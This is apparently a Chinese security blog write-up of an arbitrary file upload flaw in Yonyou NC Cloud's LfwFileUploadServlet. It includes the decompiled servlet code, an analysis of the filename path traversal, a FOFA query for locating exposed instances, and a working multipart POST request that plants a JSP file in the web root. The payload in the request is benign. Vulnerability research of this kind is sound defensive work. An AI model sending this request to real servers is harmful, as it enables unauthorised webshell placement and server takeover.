漏洞简介
用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC系统 LfwFileUploadServlet 接口中的 filename 参数缺乏校验导致任意文件上传,可能造成服务器被后门控制。
影响版本
fofa语法
app="用友-UFIDA-NC"
漏洞分析
直接看 nc/uap/lfw/core/servlet/LfwFileUploadServlet.class 对应的业务逻辑实现
package nc.uap.lfw.core.servlet;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nc.uap.lfw.core.log.LfwLogger;
import nc.uap.lfw.core.serializer.impl.LfwJsonSerializer;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadBase;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import uap.lfw.core.ml.LfwResBundle;
public class LfwFileUploadServlet extends HttpServlet {
private static final long serialVersionUID = -5347929490268322875L;
public static final String SERVER_FILE_FOLDER = "d:\\uploadfiles\\";
public LfwFileUploadServlet() {
}
public void init(ServletConfig config) throws ServletException {
super.init(config);
}
public void service(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException {
if (!ServletFileUpload.isMultipartContent(req)) {
throw new IllegalArgumentException(LfwResBundle.getInstance().getStrByID("lfw", "LfwFileUploadServlet-000000"));
} else {
try {
Object result = this.doSaveFiles(req, res);
if (result != null) {
LfwJsonSerializer serializer = LfwJsonSerializer.getInstance();
String strResult = serializer.toJsObject(result);
req.setAttribute("result", strResult);
}
} catch (Exception e) {
LfwLogger.error(e);
}
}
}
private Object doSaveFiles(HttpServletRequest req, HttpServletResponse res) throws Exception {
try {
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(4096);
File tempPathFile = new File("c:\\temp");
if (!tempPathFile.exists()) {
tempPathFile.mkdirs();
}
factory.setRepository(tempPathFile);
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setSizeMax(10485760L);
upload.setHeaderEncoding("UTF-8");
List fileItems = upload.parseRequest(req);
Iterator it = fileItems.iterator();
String regExp = ".+\\\\(.+)$";
String[] errorType = new String[]{".exe", ".com", ".cgi", ".asp"};
Pattern p = Pattern.compile(regExp);
String fileUploadHandler = req.getParameter("handler");
Map parameterMap = req.getParameterMap();
List<File> fileList = new ArrayList();
File folder = new File("d:\\uploadfiles\\");
if (!folder.exists()) {
folder.mkdirs();
}
while(it.hasNext()) {
FileItem item = (FileItem)it.next();
if (!item.isFormField()) {
String name = item.getName();
String fileName = name;
long size = item.getSize();
if (name != null && !name.equals("") || size != 0L) {
Matcher m = p.matcher(name);
boolean result = m.find();
if (result) {
fileName = m.group(1);
}
for(int temp = 0; temp < errorType.length; ++temp) {
if (fileName.endsWith(errorType[temp])) {
throw new IOException(name + ": wrong type");
}
}
String time = this.getTime();
fileName = fileName.substring(0, fileName.lastIndexOf(".") - 1) + "_" + time + fileName.substring(fileName.lastIndexOf("."));
LfwLogger.debug("get file:" + name);
File file = new File("d:\\uploadfiles\\" + fileName);
if (!file.exists()) {
file.createNewFile();
}
item.write(file);
fileList.add(file);
}
}
}
} catch (IOException e) {
LfwLogger.error(e);
} catch (FileUploadBase.SizeLimitExceededException e) {
LfwLogger.error(e);
} catch (FileUploadException e) {
LfwLogger.error(e);
}
return null;
}
private String getTime() {
Calendar c = Calendar.getInstance();
String y = String.valueOf(c.get(1));
String m = this.getRealStringValue(c.get(2));
String d = this.getRealStringValue(c.get(5));
String h = this.getRealStringValue(c.get(10));
String mi = this.getRealStringValue(c.get(12));
String s = this.getRealStringValue(c.get(13));
String ms = this.getRealStringValue(14);
String time = y + m + d + h + mi + s + ms;
return time;
}
private String getRealStringValue(int value) {
String realValue = String.valueOf(value);
realValue = realValue.length() == 1 ? "0" + realValue : realValue;
return realValue;
}
}
在开头定义了一个静态常量 SERVER_FILE_FOLDER 指定文件上传的目标目录为 d:\uploadfiles\。
接下来就是核心业务逻辑处理 service 方法,这个方法主要是处理文件上传。
调用 doSaveFiles(req, res) 方法处理文件保存的逻辑。
重点看 文件保存逻辑 - doSaveFiles 方法:
- 设置临时文件目录为
c:\temp,如果目录不存在则创建。 - 设置最大上传文件大小为 10MB(
10485760L)。 - 然后遍历文件上传列表,通过正则表达式
.+\\\\(.+)$提取文件名。 - 检查文件扩展名是否属于非法类型(如
.exe,.com,.cgi,.asp),如果是则抛出异常。(Java应用你校验这些后缀???) - 文件重命名采用时间戳函数 getTime(),而 getTime() 函数为获取当前时间,并格式化为字符串(年、月、日、时、分、秒、毫秒),用于文件重命名。
getRealStringValue函数仅仅是为了处理数字长度,如果数字长度为 1,则在前面补 0(如1转为01),确保时间格式一致。
重点看文件保存,重命名处理如下
String time = this.getTime();
fileName = fileName.substring(0, fileName.lastIndexOf(".") - 1) + "_" + time + fileName.substring(fileName.lastIndexOf("."));
LfwLogger.debug("get file:" + name);
File file = new File("d:\\uploadfiles\\" + fileName);
if (!file.exists()) {
file.createNewFile();
}
item.write(file);
fileList.add(file);
假设上传的文件名为 test.jsp,处理流程如下
- 文件名的初始值
- 假设上传的文件名为
test.jsp,此时fileName = "test.jsp"。
fileName.lastIndexOf(".")
fileName.lastIndexOf(".")返回文件名中最后一个.的索引。- 对于
test.jsp,最后一个.的索引是4(从 0 开始计数)。
- 对于
fileName.substring(0, fileName.lastIndexOf(".") - 1)
fileName.lastIndexOf(".") - 1的值是4 - 1 = 3。fileName.substring(0, 3)表示从文件名的第 0 个字符开始截取到第 3 个字符(不包括第 3 个字符)。- 对于
test.jsp,结果是"tes"。
- 对于
- 时间戳拼接
- 假设调用
this.getTime()方法返回的时间戳是20231010120000123。 - 拼接时间戳后,文件名变为:
- "tes" + "_" + "20231010120000123"
- 结果是
"tes_20231010120000123"。
- 文件扩展名拼接
fileName.substring(fileName.lastIndexOf(".")):fileName.lastIndexOf(".")是4。fileName.substring(4)表示从索引4开始截取到字符串末尾。- 对于
test.jsp,结果是".jsp"。
- 拼接扩展名后,最终文件名变为:
- "tes_20231010120000123" + ".jsp"
- 结果是
"tes_20231010120000123.jsp"。
- 最终保存路径
- 文件保存路径是通过以下代码生成的:
- File file = new File("d:\uploadfiles\" + fileName);
- 将拼接后的文件名
"tes_20231010120000123.jsp"添加到目录路径d:\uploadfiles\后,最终的文件保存路径为: - d:\uploadfiles\tes_20231010120000123.jsp
对于文件名没有校验,那我们可以通过目录穿越上传至 nc_web 目录下即可访问到(需要没有跨盘符,一般是没有跨)。即使用如下 filename ../yonyou/home/webapps/nc_web/test.jsp 那么上传后的文件极可能在 nc_web 目录下的 tes_20231010120000123.jsp 。
漏洞复现
POST /servlet/~ic/nc.uap.lfw.core.servlet.LfwFileUploadServlet HTTP/1.1
Content-Type: multipart/form-data; boundary=123456
Host: nc.mrxn.net
--123456
Content-Disposition: form-data; name="handler"
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
upload_handler
--123456
Content-Disposition: form-data; name="file"; filename="../yonyou/home/webapps/nc_web/1740xxxxxx.jsp"
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: binary
<%\u006f\u0075\u0074.\u0070\u0072\u0069\u006e\u0074("yy"+"ds");%>
--123456--
访问文件 /1740xxxxxx_202xxxxxxxxxxxxx.jsp

成功上传
不过文件名需要爆破时间戳部分

参考
https://github.com/ax1sX/SecurityList/blob/main/Java_OA/yongyou_NC_Audit.mdhttps://github.com/Chave0v0/YONYOU-TOOL/blob/main/src/main/java/com/chave/vuln/LfwFileUploadServlet_Upload.java#L131


